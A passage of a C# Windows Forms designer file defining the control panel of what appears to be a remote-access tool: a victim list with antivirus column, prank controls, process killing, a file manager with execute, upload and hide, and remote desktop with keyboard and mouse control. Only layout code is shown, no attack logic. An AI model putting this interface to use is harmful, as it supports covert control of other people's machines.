System.Windows.Forms.TabPage(); 49 | this.button6 = new System.Windows.Forms.Button(); 50 | this.label12 = new System.Windows.Forms.Label(); 51 | this.richTextBox1 = new System.Windows.Forms.RichTextBox(); 52 | this.label11 = new System.Windows.Forms.Label(); 53 | this.button5 = new System.Windows.Forms.Button(); 54 | this.comboBox3 = new System.Windows.Forms.ComboBox(); 55 | this.label10 = new System.Windows.Forms.Label(); 56 | this.button4 = new System.Windows.Forms.Button(); 57 | this.button3 = new System.Windows.Forms.Button(); 58 | this.textBox3 = new System.Windows.Forms.TextBox(); 59 | this.label9 = new System.Windows.Forms.Label(); 60 | this.label8 = new System.Windows.Forms.Label(); 61 | this.label7 = new System.Windows.Forms.Label(); 62 | this.label6 = new System.Windows.Forms.Label(); 63 | this.label5 = new System.Windows.Forms.Label(); 64 | this.label4 = new System.Windows.Forms.Label(); 65 | this.comboBox2 = new System.Windows.Forms.ComboBox(); 66 | this.comboBox1 = new System.Windows.Forms.ComboBox(); 67 | this.textBox2 = new System.Windows.Forms.TextBox(); 68 | this.textBox1 = new System.Windows.Forms.TextBox(); 69 | this.label3 = new System.Windows.Forms.Label(); 70 | this.tabPage3 = new System.Windows.Forms.TabPage(); 71 | this.button13 = new System.Windows.Forms.Button(); 72 | this.button12 = new System.Windows.Forms.Button(); 73 | this.label14 = new System.Windows.Forms.Label(); 74 | this.button11 = new System.Windows.Forms.Button(); 75 | this.button10 = new System.Windows.Forms.Button(); 76 | this.button9 = new System.Windows.Forms.Button(); 77 | this.button8 = new System.Windows.Forms.Button(); 78 | this.button7 = new System.Windows.Forms.Button(); 79 | this.label13 = new System.Windows.Forms.Label(); 80 | this.tabPage4 = new System.Windows.Forms.TabPage(); 81 | this.button14 = new System.Windows.Forms.Button(); 82 | this.comboBox4 = new System.Windows.Forms.ComboBox(); 83 | this.textBox4 = new System.Windows.Forms.TextBox(); 84 | this.label17 = new System.Windows.Forms.Label(); 85 | this.label16 = new System.Windows.Forms.Label(); 86 | this.label15 = new System.Windows.Forms.Label(); 87 | this.listView2 = new System.Windows.Forms.ListView(); 88 | this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 89 | this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 90 | this.columnHeader8 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 91 | this.columnHeader9 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 92 | this.columnHeader10 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 93 | this.columnHeader11 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 94 | this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); 95 | this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 96 | this.refreshToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); 97 | this.tabPage5 = new System.Windows.Forms.TabPage(); 98 | this.textBox5 = new System.Windows.Forms.TextBox(); 99 | this.richTextBox2 = new System.Windows.Forms.RichTextBox(); 100 | this.button15 = new System.Windows.Forms.Button(); 101 | this.tabPage6 = new System.Windows.Forms.TabPage(); 102 | this.listView3 = new System.Windows.Forms.ListView(); 103 | this.columnHeader12 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 104 | this.columnHeader13 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 105 | this.columnHeader14 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 106 | this.columnHeader15 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 107 | this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components); 108 | this.listDrivesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 109 | this.enterDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 110 | this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); 111 | this.moveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 112 | this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 113 | this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 114 | this.currentDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 115 | this.selectedDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 116 | this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 117 | this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 118 | this.currentDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); 119 | this.selectedDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); 120 | this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 121 | this.editToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 122 | this.attributesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 123 | this.hideToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 124 | this.showToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 125 | this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 126 | this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 127 | this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 128 | this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 129 | this.directoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 130 | this.tabPage7 = new System.Windows.Forms.TabPage(); 131 | this.button19 = new System.Windows.Forms.Button(); 132 | this.button18 = new System.Windows.Forms.Button(); 133 | this.button17 = new System.Windows.Forms.Button(); 134 | this.button16 = new System.Windows.Forms.Button(); 135 | this.richTextBox3 = new System.Windows.Forms.RichTextBox(); 136 | this.tabPage8 = new System.Windows.Forms.TabPage(); 137 | this.lblQualityShow = new System.Windows.Forms.Label(); 138 | this.lblChooseScreen = new System.Windows.Forms.Label(); 139 | this.cmboChooseScreen = new System.Windows.Forms.ComboBox(); 140 | this.btnCountScreens = new System.Windows.Forms.Button(); 141 | this.btnStartTaskManager = new System.Windows.Forms.Button(); 142 | this.txtBControlKeyboard = new System.Windows.Forms.TextBox(); 143 | this.label34 = new System.Windows.Forms.Label(); 144 | this.trackBar1 = new System.Windows.Forms.TrackBar(); 145 | this.btnFullScreenMode = new System.Windows.Forms.Button(); 146 | this.checkBoxrKeyboard = new System.Windows.Forms.CheckBox(); 147 | this.checkBoxrMouse = new System.Windows.Forms.CheckBox(); 148 | this.button22 = new System.Windows.Forms.Button(); 149 | this.button21 = new System.Windows.Forms.Button(); 150 | this.pictureBox1 = new System.Windows.Forms.PictureBox(); 151 | this.tabPage9 = new System.Windows.Forms.TabPage(); 152 | this.button25 = new System.Windows.Forms.Button(); 153 | this.listView4 = new System.Windows.Forms.ListView(); 154 | this.columnHeader16 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 155 | this.columnHeader17 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 156 | this.button24 = new System.Windows.Forms.Button(); 157 | this.tabPage10 = new System.Windows.Forms.TabPage(); 158 | this.button27 = new System.Windows.Forms.Button(); 159 | this.button26 = new System.Windows.Forms.Button(); 160 | this.listView5 = new System.Windows.Forms.ListView(); 161 | this.columnHeader18 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 162 | this.columnHeader19 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 163 | this.pictureBox2 = new System.Windows.Forms.PictureBox(); 164 | this.tabPage11 = new System.Windows.Forms.TabPage(); 165 | this.button30 = new System.Windows.Forms.Button(); 166 | this.button29 = new System.Windows.Forms.Button(); 167 | this.button28 = new System.Windows.Forms.Button(); 168 | this.groupBox2 = new System.Windows.Forms.GroupBox(); 169 | this.numericUpDown4 = new System.Windows.Forms.NumericUpDown(); 170 | this.numericUpDown3 = new System.Windows.Forms.NumericUpDown(); 171 | this.checkBox3 = new System.Windows.Forms.CheckBox(); 172 | this.label25 = new System.Windows.Forms.Label(); 173 | this.label26 = new System.Windows.Forms.Label(); 174 | this.groupBox1 = new System.Windows.Forms.GroupBox(); 175 | this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); 176 | this.comboBox5 = new System.Windows.Forms.ComboBox(); 177 | this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); 178 | this.textBox6 = new System.Windows.Forms.TextBox(); 179 | this.label22 = new System.Windows.Forms.Label(); 180 | this.label21 = new System.Windows.Forms.Label(); 181 | this.label20 = new System.Windows.Forms.Label(); 182 | this.label19 = new System.Windows.Forms.Label(); 183 | this.label18 = new System.Windows.Forms.Label(); 184 | this.tabPage12 = new System.Windows.Forms.TabPage(); 185 | this.button32 = new System.Windows.Forms.Button(); 186 | this.button31 = new System.Windows.Forms.Button(); 187 | this.label23 = new System.Windows.Forms.Label(); 188 | this.listView6 = new System.Windows.Forms.ListView(); 189 | this.columnHeader20 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 190 | this.columnHeader21 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 191 | this.columnHeader22 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 192 | this.tabPage13 = new System.Windows.Forms.TabPage(); 193 | this.label36 = new System.Windows.Forms.Label(); 194 | this.progressBar1 = new System.Windows.Forms.ProgressBar(); 195 | this.button23 = new System.Windows.Forms.Button(); 196 | this.comboBox7 = new System.Windows.Forms.ComboBox(); 197 | this.label35 = new System.Windows.Forms.Label(); 198 | this.button20 = new System.Windows.Forms.Button(); 199 | this.button33 = new System.Windows.Forms.Button(); 200 | this.label27 = new System.Windows.Forms.Label(); 201 | this.tabPage14 = new System.Windows.Forms.TabPage(); 202 | this.button34 = new System.Windows.Forms.Button(); 203 | this.label28 = new System.Windows.Forms.Label(); 204 | this.tabPage15 = new System.Windows.Forms.TabPage(); 205 | this.button39 = new System.Windows.Forms.Button(); 206 | this.button38 = new System.Windows.Forms.Button(); 207 | this.button37 = new System.Windows.Forms.Button(); 208 | this.button36 = new System.Windows.Forms.Button(); 209 | this.button35 = new System.Windows.Forms.Button(); 210 | this.comboBox6 = new System.Windows.Forms.ComboBox(); 211 | this.label33 = new System.Windows.Forms.Label(); 212 | this.label32 = new System.Windows.Forms.Label(); 213 | this.label31 = new System.Windows.Forms.Label(); 214 | this.label30 = new System.Windows.Forms.Label(); 215 | this.label29 = new System.Windows.Forms.Label(); 216 | this.listBox1 = new System.Windows.Forms.ListBox(); 217 | this.tabControl1.SuspendLayout(); 218 | this.tabPage1.SuspendLayout(); 219 | this.tabPage2.SuspendLayout(); 220 | this.tabPage3.SuspendLayout(); 221 | this.tabPage4.SuspendLayout(); 222 | this.contextMenuStrip2.SuspendLayout(); 223 | this.tabPage5.SuspendLayout(); 224 | this.tabPage6.SuspendLayout(); 225 | this.contextMenuStrip3.SuspendLayout(); 226 | this.tabPage7.SuspendLayout(); 227 | this.tabPage8.SuspendLayout(); 228 | ((System.ComponentModel.ISupportInitialize)(this.trackBar1)).BeginInit(); 229 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); 230 | this.tabPage9.SuspendLayout(); 231 | this.tabPage10.SuspendLayout(); 232 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); 233 | this.tabPage11.SuspendLayout(); 234 | this.groupBox2.SuspendLayout(); 235 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit(); 236 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit(); 237 | this.groupBox1.SuspendLayout(); 238 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); 239 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); 240 | this.tabPage12.SuspendLayout(); 241 | this.tabPage13.SuspendLayout(); 242 | this.tabPage14.SuspendLayout(); 243 | this.tabPage15.SuspendLayout(); 244 | this.SuspendLayout(); 245 | // 246 | // tabControl1 247 | // 248 | this.tabControl1.Controls.Add(this.tabPage1); 249 | this.tabControl1.Controls.Add(this.tabPage2); 250 | this.tabControl1.Controls.Add(this.tabPage3); 251 | this.tabControl1.Controls.Add(this.tabPage4); 252 | this.tabControl1.Controls.Add(this.tabPage5); 253 | this.tabControl1.Controls.Add(this.tabPage6); 254 | this.tabControl1.Controls.Add(this.tabPage7); 255 | this.tabControl1.Controls.Add(this.tabPage8); 256 | this.tabControl1.Controls.Add(this.tabPage9); 257 | this.tabControl1.Controls.Add(this.tabPage10); 258 | this.tabControl1.Controls.Add(this.tabPage11); 259 | this.tabControl1.Controls.Add(this.tabPage12); 260 | this.tabControl1.Controls.Add(this.tabPage13); 261 | this.tabControl1.Controls.Add(this.tabPage14); 262 | this.tabControl1.Controls.Add(this.tabPage15); 263 | this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; 264 | this.tabControl1.Location = new System.Drawing.Point(0, 0); 265 | this.tabControl1.Name = "tabControl1"; 266 | this.tabControl1.SelectedIndex = 0; 267 | this.tabControl1.Size = new System.Drawing.Size(909, 576); 268 | this.tabControl1.TabIndex = 0; 269 | this.tabControl1.Click += new System.EventHandler(this.tabControl1_Click); 270 | // 271 | // tabPage1 272 | // 273 | this.tabPage1.Controls.Add(this.label24); 274 | this.tabPage1.Controls.Add(this.label2); 275 | this.tabPage1.Controls.Add(this.button2); 276 | this.tabPage1.Controls.Add(this.listView1); 277 | this.tabPage1.Controls.Add(this.button1); 278 | this.tabPage1.Controls.Add(this.label1); 279 | this.tabPage1.Location = new System.Drawing.Point(4, 22); 280 | this.tabPage1.Name = "tabPage1"; 281 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3); 282 | this.tabPage1.Size = new System.Drawing.Size(901, 550); 283 | this.tabPage1.TabIndex = 0; 284 | this.tabPage1.Text = "Setup"; 285 | this.tabPage1.UseVisualStyleBackColor = true; 286 | // 287 | // label24 288 | // 289 | this.label24.AutoSize = true; 290 | this.label24.Location = new System.Drawing.Point(21, 57); 291 | this.label24.Name = "label24"; 292 | this.label24.Size = new System.Drawing.Size(70, 13); 293 | this.label24.TabIndex = 6; 294 | this.label24.Text = "Live Updates"; 295 | // 296 | // label2 297 | // 298 | this.label2.AutoSize = true; 299 | this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); 300 | this.label2.Location = new System.Drawing.Point(557, 178); 301 | this.label2.Name = "label2"; 302 | this.label2.Size = new System.Drawing.Size(81, 20); 303 | this.label2.TabIndex = 4; 304 | this.label2.Text = "Client Info"; 305 | // 306 | // button2 307 | // 308 | this.button2.Location = new System.Drawing.Point(557, 134); 309 | this.button2.Name = "button2"; 310 | this.button2.Size = new System.Drawing.Size(156, 23); 311 | this.button2.TabIndex = 3; 312 | this.button2.Text = "Control Selected Servers"; 313 | this.button2.UseVisualStyleBackColor = true; 314 | this.button2.Click += new System.EventHandler(this.button2_Click); 315 | // 316 | // listView1 317 | // 318 | this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 319 | this.columnHeader1, 320 | this.columnHeader2, 321 | this.columnHeader3, 322 | this.columnHeader4, 323 | this.columnHeader5}); 324 | this.listView1.FullRowSelect = true; 325 | this.listView1.GridLines = true; 326 | this.listView1.Location = new System.Drawing.Point(10, 105); 327 | this.listView1.MultiSelect = false; 328 | this.listView1.Name = "listView1"; 329 | this.listView1.Size = new System.Drawing.Size(541, 384); 330 | this.listView1.TabIndex = 2; 331 | this.listView1.UseCompatibleStateImageBehavior = false; 332 | this.listView1.View = System.Windows.Forms.View.Details; 333 | this.listView1.SelectedIndexChanged += new System.EventHandler(this.listView1_SelectedIndexChanged); 334 | // 335 | // columnHeader1 336 | // 337 | this.columnHeader1.Text = "Client ID"; 338 | // 339 | // columnHeader2 340 | // 341 | this.columnHeader2.Text = "Pc Name"; 342 | this.columnHeader2.Width = 113; 343 | // 344 | // columnHeader3 345 | // 346 | this.columnHeader3.Text = "Lan IP"; 347 | this.columnHeader3.Width = 115; 348 | // 349 | // columnHeader4 350 | // 351 | this.columnHeader4.Text = "Time"; 352 | this.columnHeader4.Width = 123; 353 | // 354 | // columnHeader5 355 | // 356 | this.columnHeader5.Text = "AV"; 357 | this.columnHeader5.Width = 116; 358 | // 359 | // button1 360 | // 361 | this.button1.Location = new System.Drawing.Point(201, 20); 362 | this.button1.Name = "button1"; 363 | this.button1.Size = new System.Drawing.Size(134, 23); 364 | this.button1.TabIndex = 1; 365 | this.button1.Text = "Start Server"; 366 | this.button1.UseVisualStyleBackColor = true; 367 | this.button1.Click += new System.EventHandler(this.button1_Click); 368 | // 369 | // label1 370 | // 371 | this.label1.AutoSize = true; 372 | this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); 373 | this.label1.Location = new System.Drawing.Point(6, 20); 374 | this.label1.Name = "label1"; 375 | this.label1.Size = new System.Drawing.Size(106, 20); 376 | this.label1.TabIndex = 0; 377 | this.label1.Text = "Server Status"; 378 | // 379 | // tabPage2 380 | // 381 | this.tabPage2.Controls.Add(this.button6); 382 | this.tabPage2.Controls.Add(this.label12); 383 | this.tabPage2.Controls.Add(this.richTextBox1); 384 | this.tabPage2.Controls.Add(this.label11); 385 | this.tabPage2.Controls.Add(this.button5); 386 | this.tabPage2.Controls.Add(this.comboBox3); 387 | this.tabPage2.Controls.Add(this.label10); 388 | this.tabPage2.Controls.Add(this.button4); 389 | this.tabPage2.Controls.Add(this.button3); 390 | this.tabPage2.Controls.Add(this.textBox3); 391 | this.tabPage2.Controls.Add(this.label9); 392 | this.tabPage2.Controls.Add(this.label8); 393 | this.tabPage2.Controls.Add(this.label7); 394 | this.tabPage2.Controls.Add(this.label6); 395 | this.tabPage2.Controls.Add(this.label5); 396 | this.tabPage2.Controls.Add(this.label4); 397 | this.tabPage2.Controls.Add(this.comboBox2); 398 | this.tabPage2.Controls.Add(this.comboBox1); 399 | this.tabPage2.Controls.Add(this.textBox2); 400 | this.tabPage2.Controls.Add(this.textBox1); 401 | this.tabPage2.Controls.Add(this.label3); 402 | this.tabPage2.Location = new System.Drawing.Point(4, 22); 403 | this.tabPage2.Name = "tabPage2"; 404 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3); 405 | this.tabPage2.Size = new System.Drawing.Size(901, 550); 406 | this.tabPage2.TabIndex = 1; 407 | this.tabPage2.Text = "Fun Menu"; 408 | this.tabPage2.UseVisualStyleBackColor = true; 409 | // 410 | // button6 411 | // 412 | this.button6.Location = new System.Drawing.Point(610, 322); 413 | this.button6.Name = "button6"; 414 | this.button6.Size = new System.Drawing.Size(100, 23); 415 | this.button6.TabIndex = 20; 416 | this.button6.Text = "Start Speak"; 417 | this.button6.UseVisualStyleBackColor = true; 418 | this.button6.Click += new System.EventHandler(this.button6_Click); 419 | // 420 | // label12 421 | // 422 | this.label12.AutoSize = true; 423 | this.label12.Location = new System.Drawing.Point(437, 118); 424 | this.label12.Name = "label12"; 425 | this.label12.Size = new System.Drawing.Size(28, 13); 426 | this.label12.TabIndex = 19; 427 | this.label12.Text = "Text"; 428 | // 429 | // richTextBox1 430 | // 431 | this.richTextBox1.Location = new System.Drawing.Point(471, 115); 432 | this.richTextBox1.Name = "richTextBox1"; 433 | this.richTextBox1.Size = new System.Drawing.Size(374, 201); 434 | this.richTextBox1.TabIndex = 18; 435 | this.richTextBox1.Text = ""; 436 | // 437 | // label11 438 | // 439 | this.label11.AutoSize = true; 440 | this.label11.Location = new System.Drawing.Point(414, 84); 441 | this.label11.Name = "label11"; 442 | this.label11.Size = new System.Drawing.Size(130, 13); 443 | this.label11.TabIndex = 17; 444 | this.label11.Text = "Microsoft Text To Speech"; 445 | // 446 | // button5 447 | // 448 | this.button5.Location = new System.Drawing.Point(664, 38); 449 | this.button5.Name = "button5"; 450 | this.button5.Size = new System.Drawing.Size(75, 23); 451 | this.button5.TabIndex = 16; 452 | this.button5.Text = "Play"; 453 | this.button5.UseVisualStyleBackColor = true; 454 | this.button5.Click += new System.EventHandler(this.button5_Click); 455 | // 456 | // comboBox3 457 | // 458 | this.comboBox3.FormattingEnabled = true; 459 | this.comboBox3.Items.AddRange(new object[] { 460 | "Error", 461 | "Warning", 462 | "Information", 463 | "Beep"}); 464 | this.comboBox3.Location = new System.Drawing.Point(471, 40); 465 | this.comboBox3.Name = "comboBox3"; 466 | this.comboBox3.Size = new System.Drawing.Size(176, 21); 467 | this.comboBox3.TabIndex = 15; 468 | // 469 | // label10 470 | // 471 | this.label10.AutoSize = true; 472 | this.label10.Location = new System.Drawing.Point(414, 12); 473 | this.label10.Name = "label10"; 474 | this.label10.Size = new System.Drawing.Size(103, 13); 475 | this.label10.TabIndex = 14; 476 | this.label10.Text = "Play System Sounds"; 477 | // 478 | // button4 479 | // 480 | this.button4.Location = new System.Drawing.Point(153, 348); 481 | this.button4.Name = "button4"; 482 | this.button4.Size = new System.Drawing.Size(75, 23); 483 | this.button4.TabIndex = 13; 484 | this.button4.Text = "Play"; 485 | this.button4.UseVisualStyleBackColor = true; 486 | this.button4.Click += new System.EventHandler(this.button4_Click); 487 | // 488 | // button3 489 | // 490 | this.button3.Location = new System.Drawing.Point(129, 197); 491 | this.button3.Name = "button3"; 492 | this.button3.Size = new System.Drawing.Size(75, 23); 493 | this.button3.TabIndex = 12; 494 | this.button3.Text = "Post"; 495 | this.button3.UseVisualStyleBackColor = true; 496 | this.button3.Click += new System.EventHandler(this.button3_Click); 497 | // 498 | // textBox3 499 | // 500 | this.textBox3.Location = new System.Drawing.Point(89, 296); 501 | this.textBox3.Name = "textBox3"; 502 | this.textBox3.Size = new System.Drawing.Size(232, 20); 503 | this.textBox3.TabIndex = 11; 504 | // 505 | // label9 506 | // 507 | this.label9.AutoSize = true; 508 | this.label9.Location = new System.Drawing.Point(20, 299); 509 | this.label9.Name = "label9"; 510 | this.label9.Size = new System.Drawing.Size(57, 13); 511 | this.label9.TabIndex = 10; 512 | this.label9.Text = "Frequency"; 513 | // 514 | // label8 515 | // 516 | this.label8.AutoSize = true; 517 | this.label8.Location = new System.Drawing.Point(8, 257); 518 | this.label8.Name = "label8"; 519 | this.label8.Size = new System.Drawing.Size(80, 13); 520 | this.label8.TabIndex = 9; 521 | this.label8.Text = "Play Frequency"; 522 | // 523 | // label7 524 | // 525 | this.label7.AutoSize = true; 526 | this.label7.Location = new System.Drawing.Point(19, 147); 527 | this.label7.Name = "label7"; 528 | this.label7.Size = new System.Drawing.Size(43, 13); 529 | this.label7.TabIndex = 8; 530 | this.label7.Text = "Buttons"; 531 | // 532 | // label6 533 | // 534 | this.label6.AutoSize = true; 535 | this.label6.Location = new System.Drawing.Point(19, 115); 536 | this.label6.Name = "label6"; 537 | this.label6.Size = new System.Drawing.Size(28, 13); 538 | this.label6.TabIndex = 7; 539 | this.label6.Text = "Icon"; 540 | // 541 | // label5 542 | // 543 | this.label5.AutoSize = true; 544 | this.label5.Location = new System.Drawing.Point(19, 80); 545 | this.label5.Name = "label5"; 546 | this.label5.Size = new System.Drawing.Size(28, 13); 547 | this.label5.TabIndex = 6; 548 | this.label5.Text = "Text"; 549 | // 550 | // label4 551 | // 552 | this.label4.AutoSize = true; 553 | this.label4.Location = new System.Drawing.Point(19, 44); 554 | this.label4.Name = "label4"; 555 | this.label4.Size = new System.Drawing.Size(27, 13); 556 | this.label4.TabIndex = 5; 557 | this.label4.Text = "Title"; 558 | // 559 | // comboBox2 560 | // 561 | this.comboBox2.FormattingEnabled = true; 562 | this.comboBox2.Items.AddRange(new object[] { 563 | "Ok", 564 | "Yes No", 565 | "Ok Cancel", 566 | "Abort Retry Ignore", 567 | "Yes No Cancel"}); 568 | this.comboBox2.Location = new System.Drawing.Point(89, 139); 569 | this.comboBox2.Name = "comboBox2"; 570 | this.comboBox2.Size = new System.Drawing.Size(232, 21); 571 | this.comboBox2.TabIndex = 4; 572 | // 573 | // comboBox1 574 | // 575 | this.comboBox1.FormattingEnabled = true; 576 | this.comboBox1.Items.AddRange(new object[] { 577 | "Error", 578 | "Warning", 579 | "Information", 580 | "Question", 581 | "None"}); 582 | this.comboBox1.Location = new System.Drawing.Point(89, 112); 583 | this.comboBox1.Name = "comboBox1"; 584 | this.comboBox1.Size = new System.Drawing.Size(232, 21); 585 | this.comboBox1.TabIndex = 3; 586 | // 587 | // textBox2 588 | // 589 | this.textBox2.Location = new System.Drawing.Point(89, 77); 590 | this.textBox2.Name = "textBox2"; 591 | this.textBox2.Size = new System.Drawing.Size(232, 20); 592 | this.textBox2.TabIndex = 2; 593 | // 594 | // textBox1 595 | // 596 | this.textBox1.Location = new System.Drawing.Point(89, 41); 597 | this.textBox1.Name = "textBox1"; 598 | this.textBox1.Size = new System.Drawing.Size(232, 20); 599 | this.textBox1.TabIndex = 1; 600 | // 601 | // label3 602 | // 603 | this.label3.AutoSize = true; 604 | this.label3.Location = new System.Drawing.Point(6, 12); 605 | this.label3.Name = "label3"; 606 | this.label3.Size = new System.Drawing.Size(71, 13); 607 | this.label3.TabIndex = 0; 608 | this.label3.Text = "Message Box"; 609 | // 610 | // tabPage3 611 | // 612 | this.tabPage3.Controls.Add(this.button13); 613 | this.tabPage3.Controls.Add(this.button12); 614 | this.tabPage3.Controls.Add(this.label14); 615 | this.tabPage3.Controls.Add(this.button11); 616 | this.tabPage3.Controls.Add(this.button10); 617 | this.tabPage3.Controls.Add(this.button9); 618 | this.tabPage3.Controls.Add(this.button8); 619 | this.tabPage3.Controls.Add(this.button7); 620 | this.tabPage3.Controls.Add(this.label13); 621 | this.tabPage3.Location = new System.Drawing.Point(4, 22); 622 | this.tabPage3.Name = "tabPage3"; 623 | this.tabPage3.Size = new System.Drawing.Size(901, 550); 624 | this.tabPage3.TabIndex = 2; 625 | this.tabPage3.Text = "Fun Menu 2"; 626 | this.tabPage3.UseVisualStyleBackColor = true; 627 | // 628 | // button13 629 | // 630 | this.button13.Location = new System.Drawing.Point(597, 49); 631 | this.button13.Name = "button13"; 632 | this.button13.Size = new System.Drawing.Size(75, 23); 633 | this.button13.TabIndex = 8; 634 | this.button13.Text = "Close"; 635 | this.button13.UseVisualStyleBackColor = true; 636 | this.button13.Click += new System.EventHandler(this.button13_Click); 637 | // 638 | // button12 639 | // 640 | this.button12.Location = new System.Drawing.Point(472, 49); 641 | this.button12.Name = "button12"; 642 | this.button12.Size = new System.Drawing.Size(75, 23); 643 | this.button12.TabIndex = 7; 644 | this.button12.Text = "Open"; 645 | this.button12.UseVisualStyleBackColor = true; 646 | this.button12.Click += new System.EventHandler(this.button12_Click); 647 | // 648 | // label14 649 | // 650 | this.label14.AutoSize = true; 651 | this.label14.Location = new System.Drawing.Point(441, 16); 652 | this.label14.Name = "label14"; 653 | this.label14.Size = new System.Drawing.Size(46, 13); 654 | this.label14.TabIndex = 6; 655 | this.label14.Text = "CD Tray"; 656 | // 657 | // button11 658 | // 659 | this.button11.Location = new System.Drawing.Point(97, 302); 660 | this.button11.Name = "button11"; 661 | this.button11.Size = new System.Drawing.Size(203, 23); 662 | this.button11.TabIndex = 5; 663 | this.button11.Text = "Start Menu: Visible"; 664 | this.button11.UseVisualStyleBackColor = true; 665 | this.button11.Click += new System.EventHandler(this.button11_Click); 666 | // 667 | // button10 668 | // 669 | this.button10.Location = new System.Drawing.Point(97, 252); 670 | this.button10.Name = "button10"; 671 | this.button10.Size = new System.Drawing.Size(203, 23); 672 | this.button10.TabIndex = 4; 673 | this.button10.Text = "Tray Icons: Visible"; 674 | this.button10.UseVisualStyleBackColor = true; 675 | this.button10.Click += new System.EventHandler(this.button10_Click); 676 | // 677 | // button9 678 | // 679 | this.button9.Location = new System.Drawing.Point(97, 200); 680 | this.button9.Name = "button9"; 681 | this.button9.Size = new System.Drawing.Size(203, 23); 682 | this.button9.TabIndex = 3; 683 | this.button9.Text = "Desktop Icons: Visible"; 684 | this.button9.UseVisualStyleBackColor = true; 685 | this.button9.Click += new System.EventHandler(this.button9_Click); 686 | // 687 | // button8 688 | // 689 | this.button8.Location = new System.Drawing.Point(97, 148); 690 | this.button8.Name = "button8"; 691 | this.button8.Size = new System.Drawing.Size(203, 23); 692 | this.button8.TabIndex = 2; 693 | this.button8.Text = "Task Bar: Visible"; 694 | this.button8.UseVisualStyleBackColor = true; 695 | this.button8.Click += new System.EventHandler(this.button8_Click); 696 | // 697 | // button7 698 | // 699 | this.button7.Location = new System.Drawing.Point(97, 97); 700 | this.button7.Name = "button7"; 701 | this.button7.Size = new System.Drawing.Size(203, 23); 702 | this.button7.TabIndex = 1; 703 | this.button7.Text = "Clock: Visible"; 704 | this.button7.UseVisualStyleBackColor = true; 705 | this.button7.Click += new System.EventHandler(this.button7_Click); 706 | // 707 | // label13 708 | // 709 | this.label13.AutoSize = true; 710 | this.label13.Location = new System.Drawing.Point(8, 16); 711 | this.label13.Name = "label13"; 712 | this.label13.Size = new System.Drawing.Size(97, 13); 713 | this.label13.TabIndex = 0; 714 | this.label13.Text = "Windows Elements"; 715 | // 716 | // tabPage4 717 | // 718 | this.tabPage4.Controls.Add(this.button14); 719 | this.tabPage4.Controls.Add(this.comboBox4); 720 | this.tabPage4.Controls.Add(this.textBox4); 721 | 